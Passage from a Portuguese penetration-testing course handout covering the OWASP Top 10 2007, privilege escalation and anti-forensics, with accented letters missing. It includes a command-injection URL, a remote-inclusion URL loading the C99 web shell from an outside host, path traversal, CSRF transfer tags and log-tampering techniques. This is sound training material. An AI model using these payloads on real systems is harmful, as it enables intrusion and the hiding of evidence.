Como 1 sempre igual a 1, teremos uma verdade e passaremos pela checagem. Esse um tipo de dados que poderamos passar para aplicativos vulnerveis e burlar o sistema de autenticao. Faremos isso na prtica com o WebGoat.

Saiba mais em: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5121 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4953 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4592 http://www.owasp.org/index.php/Guide_to_SQL_Injection http://www.owasp.org/index.php/SQL_Injection

13.6 A3 EXECUO MALICIOSA DE ARQUIVO


As vulnerabilidades de execuo de arquivos so encontradas em muitas aplicaes. Os desenvolvedores tm por hbito usar diretamente ou concatenar entradas potencialmente hostis com funes de arquivo ou stream, ou conar de maneira imprpria em arquivos de entrada. Em muitas plataformas, frameworks permitem o uso de referncias a objetos externos, como referncias a URLs ou a arquivos de sistema. Quando o dado insuciente vericado, isto pode levar a uma incluso arbitrria remota que ser processado ou invocado um contedo hostil pelo servidor web. Isto permite ao atacante realizar: Execuo de cdigo remoto. Instalao remota de rootkit e comprometimento total do sistema.

PenTest - Segurana Hacker

Pgina 155

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

Em Windows, comprometimento interno do sistema pode ser possvel a partir do uso de PHPs SMB le wrappers. Este ataque particularmente prevalecente em PHP e cuidado extremo deve ser aplicado com qualquer sistema ou funo de arquivo para garantir que a entrada fornecida pelo usurio no inuencie os nomes de arquivos.

13.6.1 VULNERABILIDADE
Uma vulnerabilidade comum construda :
include $_REQUEST[filename];

Isto no somente permite a avaliao de scripts hostis remotos, mas pode ser usado para acessar arquivos locais do servidor (caso o PHP seja hospedado no Windows) devido ao suporte SMB nos PHPs le system wrappers. Outros mtodos de ataque incluem: Upload de dados hostis a arquivos de sesses, dados de log e via imagens (tpico de software de frum). Uso de compresso ou streams de udio, como por exemplo, zlib:// ou ogg:// que no inspecione a ag interna do PHP e ento permite o acesso remoto a recursos, mesmo que allow_url_fopen ou allow_url_include esteja desabilitado. Usando PHP wrappers, como por exemplo, php://input e outros para coletar entrada da requisio de dados POST ao invs de um arquivo. Usando o PHPs data: wrapper, como por exemplo, data:;base64,PD9waHAgcGhwaW5mbygpOz8+. Uma vez que essa lista extensa (e muda com periodicidade), vital que o uso de uma arquitetura desenhada apropriado para segurana e design robusto quando manipulamos entradas fornecidas pelo usurio que inuenciem a escolha de nomes de arquivos e acesso no lado do servidor. Apesar de fornecidos alguns exemplos em PHP, este ataque tambm aplicvel de maneiras diferentes em .NET e J2EE. As aplicaes desenvolvidas nestes frameworks necessitam de ateno particular aos mecanismos de segurana de acesso

PenTest - Segurana Hacker

Pgina 156

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

ao cdigo para garantir que os nomes de arquivos fornecidos ou inuenciados pelos usurios no habilitem que controles de segurana sejam desativados. Por exemplo, possvel que documentos XML submetidos por um atacante ter um DTD hostil que force o analisador XML a carregar um DTD remoto e analisar e processar os resultados. Uma empresa Australiana de segurana demonstrou esta abordagem para varredura portas para rewalls. Veja [SIF01] nas referncias deste artigo para maiores informaes. O dano causado por essa vulnerabilidade est diretamente associado com os pontos fortes dos controles de isolamento da plataforma no framework. Como o PHP raramente isolado e no possui o conceito de caixa de areia "sandbox"ou arquitetura segura, o dano muito pior do que comparado com outras plataformas com limitao ou conana parcial, ou so contidos em uma sandbox convel como, por exemplo, quando uma aplicao web executada sob um JVM com um gerenciador de segurana apropriado habilitado e congurado (que raramente o padro).

13.6.2 EXPLORANDO
Falhas dessa classe ocorrem simplesmente porque o programador no ltrou o contedo que recebe de um usurio e envia para funes que executam comandos no sistema, como por exemplo, a funo system() ou passthru() do PHP. Uma vez que um usurio malicioso consegue enviar caracteres de escape (; | > <) e esses caracteres so enviados para a aplicao vulnervel, o atacante conseguir executar os comandos diretamente no servidor.
http://www.hostvuln.com/meuscript.cgi?file=;id;uname%2 -a

No exemplo acima, o atacante est executando os comandos id e uname a no servidor vulnervel.

13.6.2.1 Shell PHP Um dos mais famosos shell em php o C99, criada pelo Captain Crunch Security Team, mas existem diversas r57, php shell, R9 etc... A c99 a mais usada pela sua simplicidade sem muitos conhecimentos de comandos unix.

PenTest - Segurana Hacker

Pgina 157

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

Podemos conseguir uma shell baixando um arquivo php com o cdigo da mesma e hospedando-a em um site. Ou simplesmente buscando na web. Voc pode encontrar uma c99 em http://corz.org/corz/c99.php A partir de um site vulnervel, podemos chamar a shell que est hospedada em um site e simplesmente comear a operar dentro do site como se tivssemos na linha de comando.
http://www.sitevitima.com/menu.php?page=http://corz.org/corz/c99.php

Saiba mais em: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0360 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5220 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4722 http://www.owasp.org/index.php/File_System#Includes_and_Remote_les http://www.owasp.org/index.php/Testing_for_Directory_Traversal

13.7 A4 REFERNCIA INSEGURA DIRETA A OBJETO


Uma referncia direta a um objeto acontece quando um desenvolvedor expe uma referncia a um objeto de implementao interna, como por exemplo, um arquivo, diretrio, registro na base de dados ou chave, uma URL ou um parmetro de um formulrio. Um atacante pode manipular diretamente referncias a objetos para acessar outros objetos sem autorizao, a no ser que exista um mecanismo de controle de acesso. Por exemplo, em aplicaes de Internet Banking comum o uso do nmero da conta como a chave primria. Conseqentemente, pode ser tentador usar o nmero da conta diretamente na interface web. Mesmo que os desenvolvedores tenham usado queries SQL parametrizadas para prevenir inseres de comandos SQL (SQL injection), e caso no exista uma vericao adicional para garantir que o usurio o proprietrio da conta e que est autorizado a ver a conta, um atacante pode manipular a partir do parmetro do nmero da conta e possivelmente pode ver e modicar todas as contas.

PenTest - Segurana Hacker

Pgina 158

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

Este tipo de ataque aconteceu no site da Australian Taxation Ofces GST Start Up Assistance em 2000, onde um usurio legtimo, mas hostil, simplesmente modicou o ABN (identicador da empresa) presente na URL. O usurio se apossou de cerca de 17.000 registros de empresas cadastrados no sistema, e ento enviou para cada uma das 17.000 empresas detalhes do ataque. Este tipo de vulnerabilidade muito comum, porm no testada largamente em muitas aplicaes.

13.7.1 VULNERABILIDADE
Muitas aplicaes expem referncias a objetos internos aos usurios. Atacantes manipulam parmetros a m de modicar as referncias e violarem a poltica de controle de acesso de forma intencionalmente e sem muito esforo. Freqentemente, estas referncias apontam para arquivos do sistema e banco de dados, mas qualquer aplicao exposta pode estar vulnervel. Por exemplo, se o cdigo permite especicao de nomes de arquivos ou caminhos a partir da entrada do usurio, isto pode permitir que atacantes acessem diretrios da aplicao que no esto publicados e acessem outros recursos.
<select name="language<option value="frFranais</option></select> require_once ($_REQUEST[language]."lang.php"); ...

Tal cdigo pode ser atacado usando uma string como ../../../../etc/passwd%00 usando injeo de um byte nulo (vide OWASP Guide para mais detalhes) para acessar qualquer arquivo no sistema de arquivo do servidor web. Similarmente, referncias as chaves de banco de dados so freqentemente expostas. Um atacante pode atacar estes parmetros simplesmente chutando ou procurando por outra chave vlida. Geralmente, elas so seqenciais por natureza. No exemplo a seguir, mesmo que a aplicao no apresente um link qualquer para um carrinho no autorizado e nenhuma injeo SQL seja possvel, um atacante pode ainda modicar o parmetro cartID para qualquer outro desejado.
int cartID = Integer.parseInt( request.getParameter( "cartID") ); String query = "SELECT * FROM table WHERE cartID="+ cartID;

PenTest - Segurana Hacker

Pgina 159

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

13.7.2 EXPLORANDO
Um exemplo de explorao desta vulnerabilidade :
http://www.hostvul.com/index.php?file=../../../../../../etc/passwd

Saiba mais em: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0329 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4369 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0229 http://www.owasp.org/index.php/Testing_for_business_logic http://www.owasp.org/index.php/Testing_for_Directory_Traversal http://www.owasp.org/index.php/Category:Access_Control_Vulnerability

13.8 A5 CROSS SITE REQUEST FORGERY (CSRF)


Cross site request forgery no um novo ataque, mas simples e devastador. Um ataque CSRF fora o navegador logado da vtima a enviar uma requisio para uma aplicao web vulnervel, que realiza a ao desejada em nome da vtima. Esta vulnerabilidade extremamente disseminada, uma vez que qualquer aplicao web: No tenha vericao de autorizao para aes vulnerveis Execute uma ao caso um login padro seja enviado na requisio (ex. http://www.example.com/admin/doSomething.ctl?username=admin&passwd=admin) Autorize requisies baseadas somente em credenciais que so automaticamente submetidas como, por exemplo, cookie de sesso, caso logada corretamente na aplicao, ou a funcionalidade Relembrar-me, se no logado na aplicao, ou um token Kerberos, se parte de uma Intranet que tenha o logon integrado com o Active Directory. Este tipo de aplicao estar em risco. Infelizmente, hoje, a maioria das aplicaes web cona exclusivamente em credenciais submetidas automaticamente, como por

PenTest - Segurana Hacker

Pgina 160

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

exemplo, cookies de seo, credenciais de autenticao bsica, endereo de IP de origem, certicados SSL ou credenciais de um domnio Windows. Esta vulnerabilidade tambm conhecida por outros diversos nomes incluindo Session Riding, Ataques One-Click, Cross Site Reference Forgery, Hostile Linking e Automation Attack. O acrnimo XSRF freqentemente usado. Ambos a OWASP e o MITRE padronizaram o uso do termo Cross Site Request Forgery e CSRF

13.8.1 VULNERABILIDADE
Um ataque tpico CSRF contra um frum pode ter a forma de direcionar o usurio a invocar alguma funo, como por exemplo, a pgina de logout da aplicao. A seguinte tag em qualquer pgina web vista pela vtima gerar uma requisio que encerra sua seo:
<img src="http://www.example.com/logout.php

Caso um banco permita sua aplicao a processar requisies, como a transferncia de fundos, um ataque similar pode permitir:
<img src="http://www.example.com/transfer.do?frmAcct=document.form.frmAcct &toAcct=4345754&toSWIFTid=434343&amt=3434.43

13.8.2 EXPLORANDO
Os parmetros utilizados e o formato de ataque muito parecido com o XSS. Inclusive, o tipo de ataque CSRF surgiu a partir do XSS, quando os atacantes perceberam que a partir da chamada para execuo de script com XSS, seria possvel estender para alm a capacidade de explorao de seus ataques. Jeremiah Grossman em sua palestra na BlackHat 2006 Hacking Intranet Sites from the outside, demonstrou ser possvel forar o usurio a modicar seu roteador DSL sem seu consentimento; mesmo que o usurio no saiba que o roteador possua uma interface web. Jeremiah usou um nome de conta padro do roteador para realizar o ataque.

PenTest - Segurana Hacker

Pgina 161

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

Todos estes ataques funcionam, pois a credencial de autorizao do usurio (tipicamente um cookie de sesso) automaticamente includa em requisies do navegador, mesmo que o atacante no fornea tal credencial. Caso a tag contendo o ataque possa ser postada em uma aplicao vulnervel, ento a probabilidade de encontrar vtimas autenticadas incrementada signicativamente, similar ao incremento do risco entre as falhas XSS armazenadas e reetidas. Falhas XSS no so necessrias para um ataque CSRF funcionar, apesar de que qualquer aplicao com falhas XSS esteja susceptvel a CSRF, pois um ataque CSRF pode explorar uma falha XSS para roubar qualquer credencial no fornecida de forma automtica que possa estar em execuo para proteger contra um ataque CSRF. Muitos worms de aplicao tm usado ambas as tcnicas de forma combinada. Quando estiver construindo defesas contra ataques CSRF, deve-se focar tambm na eliminao de vulnerabilidades XSS na aplicao, uma vez que tais vulnerabilidades podem ser usadas para subverter a maioria das defesas contra CSRF aplicadas.

Saiba mais em: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0192 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5116 http://www.owasp.org/index.php/Cross-Site_Request_Forgery https://www.owasp.org/index.php/Testing_for_CSRF http://www.owasp.org/index.php/CSRF_Guard http://www.owasp.org/index.php/PHP_CSRF_Guard

13.9 A6 VAZAMENTO DE INFORMAES E TRATAMENTO DE ERROS INAPROPRIADO


Diversas aplicaes podem sem inteno vazar informaes sobre suas conguraes, funcionamento interno, ou violar privacidade atravs de diversos problemas. Aplicaes podem vazar o funcionamento interno via tempo de resposta para executar determinados processos ou respostas diferentes para entradas diversas, como exibindo mesma mensagem de erro mas com cdigo de erros diferentes. Aplicaes Web freqentemente vazaro informaes sobre seu funcionamento interno atravs de mensagens de erros detalhadas ou debug. Freqentemente, essa

PenTest - Segurana Hacker

Pgina 162

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

informao pode ser o caminho para lanar ataques ou ferramentas automticas mais poderosas.

13.9.1 VULNERABILIDADE
Aplicaes freqentemente geram mensagens de erros e as mostram para os usurios. Muitas vezes essas informaes so teis para os atacantes, visto que elas revelam detalhes de implementaes ou informaes teis para explorar uma vulnerabilidade. Existem diversos exemplos comuns disso: Manipulao de erro detalhada, onde se induzirmos alguns erros sero mostradas muitas informaes, como o rastreamento da pilha, validaes, falhas de SQL, ou outras informaes de debug. Funes que produzem diferentes sadas baseado-se em diferentes entradas. Por exemplo, substituindo o mesmo nome de usurio com senhas diferentes deveria produzir o mesmo texto como usurio inexistente, ou password invlido. Entretanto, muitos sistemas geram diferentes cdigos de erros.

13.9.2 EXPLORANDO
Para explorar esta falha vamos utilizar algumas ferramentas automatizadas em aula, segue uma lista de ferramentas para voc pesquisar: FireCat - conjunto de plugins para o refox. Firebug - plugin do refox para alterao de parmetro no browser cliente. WebScarab - proxy que permite a captura e manipulao de parmetros enviados pelo navegador. Paros Proxy - proxy que permite a captura de parmetros enviados pelo navegador. Nessus - ferramenta de varredura em busca de vulnerabilidades, baseado em plugins constantemente atualizado, escritos em NASL. Nikto - ferramenta de busca de vulnerabilidades e falhas de congurao do Webserver Apache.

PenTest - Segurana Hacker

Pgina 163

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

IEWatch - um plugin para o Microsoft Internet Explorer para analisar cabealhos de requisies HTTP e HTTPS, alm de cdigo fonte HTML. Wireshark - sniffer de rede que possibilita a anlise de protocolos e ltro de pacotes, a partir de regras personalizadas, que trafegam na rede. Wapiti - scanner de vulnerabilidade de aplicaes web, pesquisa falhas XSS, injeo de SQL e XPath, incluses de arquivo (local e remoto) a execuo de comandos, injeo LDAP e injeo CRLF. W3AF - framework para auditoria e teste de invaso em aplicaes web.

Saiba mais em: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4899 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3389 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0580 http://www.owasp.org/index.php/Error_Handling http://www.owasp.org/index.php/Category:Sensitive_Data_Protection_Vulnerability

13.10 A7 FURO DE AUTENTICAO E GERNCIA DE SESSO


Autenticao e gerncia de sesso apropriadas so criticas para a segurana na web. Falhas nesta rea geralmente envolvem a falha na proteo de credenciais e nos tokens da sesso durante seu tempo de vida. Estas falhas podem estar ligadas roubo de contas de usurios ou administradores, contornando controles de autorizao e de responsabilizao, causando violaes de privacidade.

13.10.1 VULNERABILIDADE
Furos no mecanismo principal de autenticao no so incomuns, mas falhas so geralmente introduzidas a partir de funes menos importantes de autenticao como logout, gerncia de senhas, timeout, recordao de dados de logon, pergunta secreta e atualizao de conta.

PenTest - Segurana Hacker

Pgina 164

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

13.10.2 EXPLORANDO
Sistemas com falha de gerncia de sesso podem ser vitimas de Session Hijacking atravs de: Falhas de XSS Snifer de rede local Cockies Armazenados

Saiba mais em: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6145 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6229 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6528 http://www.owasp.org/index.php/Guide_to_Authentication http://www.owasp.org/index.php/Reviewing_Code_for_Authentication http://www.owasp.org/index.php/Testing_for_authentication

13.11 A8 ARMAZENAMENTO CRIPTOGRTAFICO INSEGURO


Proteger dados sensveis com criptograa tem sido parte chave da maioria das aplicaes Web. Simplesmente no criptografar dados sensveis muito comum. Ainda, aplicaes que adotam criptograa freqentemente possuem algoritmos mal concebidos, usam mecanismos de cifragem inapropriados ou cometem srios erros usando cifragem fortes.

13.11.1 VULNERABILIDADE
Prevenir falhas de criptograa requer planejamento cuidadoso. Os problemas mais comuns so:

PenTest - Segurana Hacker

Pgina 165

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

No criptografar dados sensveis Uso inseguro de algoritmos fortes Uso de algoritmos caseiros Continuar usando algoritmos que provadamente so fracos (MD5, SHA-1, RC3, RC4, etc.) Difcil codicao de chaves, e armazenar chaves em sistemas de armazenamento desprotegidos

13.11.2 EXPLORANDO
Vamos ver abaixo os tipos de ataques mais utilizados para ter acesso s informaes armazenadas. Brute-force Rainbowcrack + hash sites Md5 Web Crackers

Saiba mais em: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6145 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1664 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1101 http://www.owasp.org/index.php/Cryptography http://www.owasp.org/index.php/Guide_to_Cryptography http://www.owasp.org/index.php/Insecure_Storage http://www.owasp.org/index.php/How_to_protect_sensitive_data_in_URLs

13.12 A9 COMUNICAES INSEGURAS


Aplicaes geralmente falham na hora de encriptar trfego de rede quando necessrio proteger comunicaes sensveis. A encriptao (geralmente SSL) deve ser

PenTest - Segurana Hacker

Pgina 166

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

usada em todas as conexes autenticadas, especialmente pginas web com acesso via internet, mas tambm conexes com o back- end. Seno, o aplicativo ir expor uma autenticao ou o token de sesso. Adicionalmente, a autenticao deve ser usada sempre que dados sensveis, assim como cartes de crdito ou informaes de sade so transmitidos. Aplicaes cujo modo de encriptao possa ser subvertido so alvos de ataques. Os padres PCI requerem que todas as informaes de cartes de credito que so transmitidas pela internet sejam encriptadas.

13.12.1 VULNERABILIDADE
Falha na hora de encriptar informaes sensveis signica que um invasor que possa escutar o trfego da rede poder ter acesso conversa, incluindo quaisquer credenciais ou informaes sensveis transmitidas. Considerando que redes diferentes tero mais ou menos suscetibilidade a escuta. Entretanto, importante notar que eventualmente um servidor ser comprometido em praticamente qualquer rede, e que invasores instalaro rapidamente uma escuta para capturar as credenciais de outros sistemas. O uso de SSL para comunicao com usurios nais critico, pois muito provvel que eles utilizem formas inseguras de acessar os aplicativos. Porque HTTP inclui credenciais de autenticao ou um token de sesso para cada pedido, toda autenticao do trfego deve ir para o SSL, no s os pedidos de login. A encriptao de informaes com servidores de back-end tambm importante. Mesmo que estes servidores sejam naturalmente mais seguros, as informaes e as credenciais que elas carregam so mais sensveis e mais impactantes. Portanto, usar SSL no back-end tambm muito importante. A encriptao de informao sensvel, assim como cartes de crdito e informaes de previdncia, se tornou um regulamento nanceiro e de privacidade para vrias empresas. Negligenciar o uso de SSL para o manuseio de conexes de informaes cria um risco de no conformidade.

PenTest - Segurana Hacker

Pgina 167

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

13.12.2 EXPLORANDO
Aplicaes Web com comunicao insegura podem facilmente ser vitimas de sniffers de rede, em aula veremos o uso do Wireshark.

Saiba mais em: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6430 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4704 http://www.schneier.com/blog/archives/2005/10/scandinavian_at_1.html https://www.owasp.org/index.php/Testing_for_SSL-TLS http://www.owasp.org/index.php/Guide_to_Cryptography

13.13 A10 FALHA AO RESTRINGIR ACESSO URLS


Comumente, a nica proteo para uma URL no mostrar o link para usurios no autorizados. No entanto, um motivado, hbil ou apenas um sortudo atacante pode ser capaz de achar e acessar estas pginas, executar funes e visualizar dados. Segurana por obscuridade no suciente para proteger dados e funes sensveis em uma aplicao. Vericaes de controles de acesso devem ser executadas antes de permitir uma solicitao a uma funo sensvel, na qual garante que somente o usurio autorizado acesse a respectiva funo.

13.13.1 VULNERABILIDADE
O principal mtodo de ataque para esta vulnerabilidade chamado de navegao forada (forced browsing), na qual envolve tcnicas de adivinhao de links (guessing) e fora bruta (brute force) para achar pginas desprotegidas. comum que aplicaes utilizem cdigos de controle de acesso por toda a aplicao, resultando em um modelo complexo que diculta a compreenso para desenvolvedores e especialistas em segurana. Esta complexidade torna provvel a ocorrncia de erros e algumas pginas no sero validadas, deixando a aplicao vulnervel. Alguns exemplos destas falhas incluem:

PenTest - Segurana Hacker

Pgina 168

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

URLS escondidas e especiais, mostradas apenas para administradores ou usurios privilegiados na camada de apresentao, porm acessvel a todos os usurios caso tenham conhecimento que esta URL existe, como /admin/adduser.php ou /approveTransfer.do. Estas so particularmente comuns em cdigos de menus. Aplicaes geralmente permitem acesso a arquivos escondidos, como arquivos XML estticos ou relatrios gerados por sistemas, conando toda segurana na obscuridade, escondendo-os. Cdigos que foram uma poltica de controle de acesso desatualizada ou insuciente. Por exemplo, imagine que /approveTransfer.do foi disponibilizado uma vez para todos usurios, mas desde que os controles da SOX foram adotados, ele supostamente s pode ser acessvel por usurios aprovadores. Uma possvel correo seria no mostrar a URL para usurios no autorizados, no entanto o controle de acesso ainda no estaria implementado na requisio para esta pgina. Cdigos que validam privilgios no cliente (browser) e no no servidor, como neste ataque na MacWorld 2007, que aprovava para Platinum passes que valiam $1700 via Java Script no browser ao invs de validar no servidor.

Saiba mais em: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0147 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0131 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1227 http://www.owasp.org/index.php/Forced_browsing http://www.owasp.org/index.php/Guide_to_Authorization

PenTest - Segurana Hacker

Pgina 169

14 Elevao de Privilgios Locais


14.1 O que escalada de privilgios?
Escalao ou elevao de privilgios basicamente signica adicionar mais direitos ou permisses para um usurio. Em resumo, escalao de privilgios tenta transformar um usurio normal em um usurio administrativo, usurio com maior privilgios do que o usurio atual ou fazer com que um usurio participe de outros grupos locais na mquina, com privilgio diferente do privilgio atual do atacante. Quando exploramos alguns servios, nem sempre conseguimos acesso root. Esse o caso da explorao de um PHP Inject, que vimos anteriormente. Alguns outros exemplos podem ser usados, como explorao de um daemon que no executado como root. Portanto, para conseguirmos controlar totalmente a mquina e pode executar programas que precisam de privilgios de administrador, precisamos aumentar nosso privilgio localmente. Porm, a escalao de privilgios no est limitada apenas a aumentar os privilgios dentro do sistema operacional, mas em qualquer sistema. Por exemplo, podemos ter um acesso limitado a um servidor de banco de dados Oracle e desejamos nos tornar DBA, podendo assim acessar todas as tabelas e bases de dados existentes no banco. O ato de tornar um usurio com mais privilgios tambm chamado de elevao de privilgios. Exemplos de caso onde podemos realizar o ataque: Explorao de aplicao web que no executada como root; Explorao de servios que no so executados como root ou tem seu privilgio dropado Explorao interna de um aplicativo, por exemplo, um Banco de Dados Oracle. Quando conseguimos uma senha local, sem privilgio administrativo.

Linux Force www.linuxforce.com.br

Elevao de Privilgios Locais

14.2 Possveis alvos


Normalmente, aplicaes que possuem suidroot so as mais exploradas, alm do prprio kernel do sistema, que executado com privilgios de super usurio. Aplicaes com suidroot uma aplicao com uma permisso especial conhecida por suid bit (s), que quando executada, ser executada com privilgios do usurio root. Portanto, se conseguirmos explorar um arquivo que possui esse tipo de permisso, provavelmente conseguiremos obter os privilgios do usurio root no sistema, conseguindo assim controle total. Para procurarmos por arquivos com suidroot na mquina, podemos executar o comando abaixo:

1 2 3

# find / - perm -4 # less suidroot . txt # find / - perm - 4

> suidroot . txt - exec ls -l {} \;

Alm de arquivos com suidroot, tambm podem ser exploradas falhas no kernel do sistema, que quem cuida dos privilgios dos usurios, e conseqentemente, ganharemos privilgios administrativos se a falha for explorada com sucesso. Portanto, aps identicarmos os arquivos que possuem esse tipo especial de permisso, precisamos identicar falhas de segurana nesses softwares. Essas falhas podem ser pblicas, ou seja, que possvel encontrar na internet, ou privada, que pode ser comprada de um pesquisador ou empresa, ou at mesmo descoberta pelo prprio atacante.

14.3 Laboratorio
Vamos fazer um laboratorio com uma das maquinas Kioptrix. Aguarde para ver em aula.

PenTest - Segurana Hacker

Pgina 171

15 Apagando Rastros
15.1 Por que encobrir rastros?
Um dos objetivos, em um teste de invaso, de utilizar tcnicas para encobrir seus rastros e aes, para testar a eccia e competncia do time de resposta a incidentes e percia forense caso os mesmos existam. As tcnicas para apagar rastros tambm so conhecidas como anti-forensic. No h necessidade desse tipo de ao por parte de um pentester, caso queira deixar as evidncias de explorao para posterior anlise por parte da equipe de Ti da empresa contratante. No entanto, caso tenha como objetivo testar, tambm, a capacidade da equipe de percia forense em investigar um caso de invaso, interessante implementar os passos estudados nesse captulo

15.2 O que encobrir?


Logs de IDS - Onde so armazenadas todas as evidncias de trfego anormal que tenha sido detectado na rede. Isso inclui desde o envio de arquivos maliciosos varreduras no sistema, em busca de informaes. Logs de Firewall - Logs que guardam as informaes ltradas por regras de rewall. Normalmente os administradores, quando criam as regras de rewall, tem por hbito mandar armazenar em log tentativas de varreduras, ataques de brute force e acesso sem autorizao a servios especcos. Arquivos copiados no sistema - Qualquer arquivo que tenha sido copiado para o sistema, mesmo que posteriormente seja apagado, deixa rastros que podem ser recuperados com ferramentas especcas.

Linux Force www.linuxforce.com.br

Apagando Rastros

Arquivos sendo executados, como backdoors, por exemplo - Todo programa ou arquivo em execuo, reconhecido pelo sistema como um processo, e como um pode ser recuperado da memria. Existem vrias formas de mascarar a execuo de binrios, como por exemplo um rootkit, que substitui binrios do sistemas por seus prprios, com implementaes de cdigos maliciosos. Logs de comandos - Tudo o que digitado no terminal armazenado no .bash_history do usurio, por exemplo. Mesmo que seja apagado, esse arquivo tambm pode ser recuperado pela equipe de percia forense. Logs de sesso - Quando efetuamos o login e autenticamos uma sesso vlida, tudo o que ocorre na mesma armazenado em logs. Algumas organizaes possuem, inclusive, servidores exclusivos para armazenamento e gerenciamento de logs. No Linux, a maioria dos logs cam armazenados em /var/log.

15.3 Tcnicas
Sobreescrita de dados - Quando apagamos algo em um disco, os dados so apenas marcados para a deleo e no realmente apagados. Os dados marcados para a deleo, so apagados apenas quando o sistema operacional utiliza os mesmos blocos do disco para gravar novos dados, realizando a sobreescrita. Quanto mais vezes aquele mesmo setor for sobreescrito, mais difcil se tornar a recuperao das informaes originalmente existentes. Esse mtodo tambm conhecido como wipe. Preveno de criao de dados - possvel, atravs da alterao de permisso em determinados arquivos, que novos dados sejam inseridos no mesmo, por exemplo. Podemos citar o caso de arquivos de log, que se tiver sua permisso alterada para negar a possibilidade de escrita nos mesmo, nenhuma nova operao ser armazenada, e o administrador do sistema no poder fazer a vericao posterior para entender o que comprometeu o sistema ou a rede. Encriptao de dados - A melhor maneira de ocultar um arquivo, para que ningum veja seu contedo, ou consiga alter-lo, encriptando-o, seja atravs de uma ferramenta especca de encriptao, seja ocultando o arquivo dentro de outro, cuja extenso e contedo sejam diversos do original. Essa ltima tcnica tambm pode ser chamada de esteganograa. Deleo segura de dados - Essa tcnica est diretamente vinculada com a primeira, de sobreescrita de dados. Todo e qualquer processo de deleo de

PenTest - Segurana Hacker

Pgina 173

Linux Force www.linuxforce.com.br

Apagando Rastros

arquivos, deve ser cuidadoso, para que no seja possvel a posterior recuperao das informaes.

15.4 Ferramentas
Tor (The Onion Router) - O Tor mantm o usurio livre de bisbilhoteiros, inclusive os do FBI e os da CIA, e impede (ou diculta bastante) qualquer tipo de rastreamento. E exatamente isso que o Tor oferece. Em vez de seguir uma rota direta entre origem e destino, toda a informao transmitida por ele segue um caminho randmico, que se altera permanentemente, atravs de diversos servidores voluntrios que cobrem a rota. Fica difcil para qualquer sistema saber quem voc , onde voc est ou de onde veio, embora seja possvel saber o que voc est levando consigo. Wipe - Wipe um aplicativo que permite a deleo segura de dados, permitindo que o usurio dena quais arquivos sero apagados e quantas vezes aqueles blocos de disco, onde os arquivos apagados estavam alocados, sero sobreescritos. Quanto mais vezes se sobreescreve, mais difcil a posterior recuperao dos dados. Cada operao de sobreescrita deve ser realizada at o nal, para que o prorama seja completamente ecaz. Scrub - Outra possibilidade para realizar o data wiping, sobrescrevendo os dados deletados com um padro determinado de informaes, que podem ou no ser removidas no nal da informao. Se no forem removidas, o perito forense encontrar apenas lixo digital nos blocos do disco, sem qualquer coerncia. Steghide - Steghide um programa de esteganograa que capaz de esconder dados em vrios tipos de arquivos de udio e de imagem. As frequncias de som e de cor, respectivamente, no so alteradas tornando o arquivo resistente contra testes estatsticos de primeira ordem. Formatos de arquivos JPEG, BMP, WAV e AU so suportados para uso como arquivo de "cobertura". No h restries sobre o formato dos dados secretos. O algoritmo de criptograa padro o Rijndael com uma chave de 128 bits de comprimento (que AES - Advanced Encryption Standard). Se voc no cona nesta combinao por qualquer razo, sinta-se vontade para escolher outra combinao modo/algoritmo.

PenTest - Segurana Hacker

Pgina 174

16 Referncias Bibliogrcas
Todo material sobre IPV6 foi extraido de: Apostila IPV6 Bsico - rev. 2012.07.22-01 Autores: Antonio Marcos Moreiras Edwin Santos Cordeiro Rodrigo Regis dos Santos Alexandre Yukio Harano Eduardo Barasal Morales Heitor de Souza Ganzelli Tiago Jun Nakamura Rodrigo Mattos Carnier Tuany Tabosa Fornecido pelo NIC.br atravs do site http://www.ipv6.br

Utilizamos o OWASP TOP 10 2007 Traduzido para Portugus por: Cleber Brando Clebeer - Analista de Controle de Qualidade - BRconnection Fabricio Ataides Braz Leonardo Cavallari Militelli Especialista de Segurana - E-val Tecnologia

Linux Force www.linuxforce.com.br

Referncias Bibliogrcas

